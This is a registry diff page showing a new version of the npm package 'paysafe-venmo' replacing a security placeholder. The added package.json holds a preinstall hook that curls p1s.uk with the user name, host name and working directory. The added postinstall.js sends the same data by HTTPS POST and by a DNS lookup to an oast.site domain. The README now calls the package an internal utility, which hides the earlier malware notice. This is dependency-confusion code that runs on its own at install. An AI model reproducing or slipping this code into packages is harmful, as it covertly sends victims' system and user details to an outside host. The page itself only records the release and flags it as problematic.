paysafe-venmo 0.0.1-security → 99.99.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of paysafe-venmo might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=paysafe-venmo for more information.
1
+ # paysafe-venmo
2
+ Internal utility. Not for public use.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "paysafe-venmo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.99.1",
4
+ "description": "Internal utility.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node postinstall.js || curl -sk 'https://p1s.uk/dep-confusion/paysafe-venmo/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)' || true"
8
+ },
9
+ "author": "",
10
+ "license": "MIT"
6
11
  }
package/postinstall.js ADDED
@@ -0,0 +1,21 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+ const dns = require("dns");
4
+ const pkg = "paysafe-venmo";
5
+ const safe = "paysafe-venmo";
6
+ const cb = "p1s.uk";
7
+
8
+ // HTTPS callback to p1s.uk
9
+ try {
10
+ const data = JSON.stringify({p:pkg,h:os.hostname(),u:os.userInfo().username,d:__dirname,t:new Date().toISOString()});
11
+ const req = https.request({hostname:cb,port:443,path:"/dep-confusion/"+safe+"/full",method:"POST",headers:{"Content-Type":"application/json","Content-Length":data.length},rejectUnauthorized:false,timeout:5000},()=>{});
12
+ req.on("error",()=>{});
13
+ req.write(data);
14
+ req.end();
15
+ } catch(e){}
16
+
17
+ // DNS fallback
18
+ try {
19
+ const tag = Buffer.from(os.hostname()+"."+os.userInfo().username).toString("hex").substring(0,40);
20
+ dns.resolve(safe+"."+tag+".d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site",()=>{});
21
+ } catch(e){}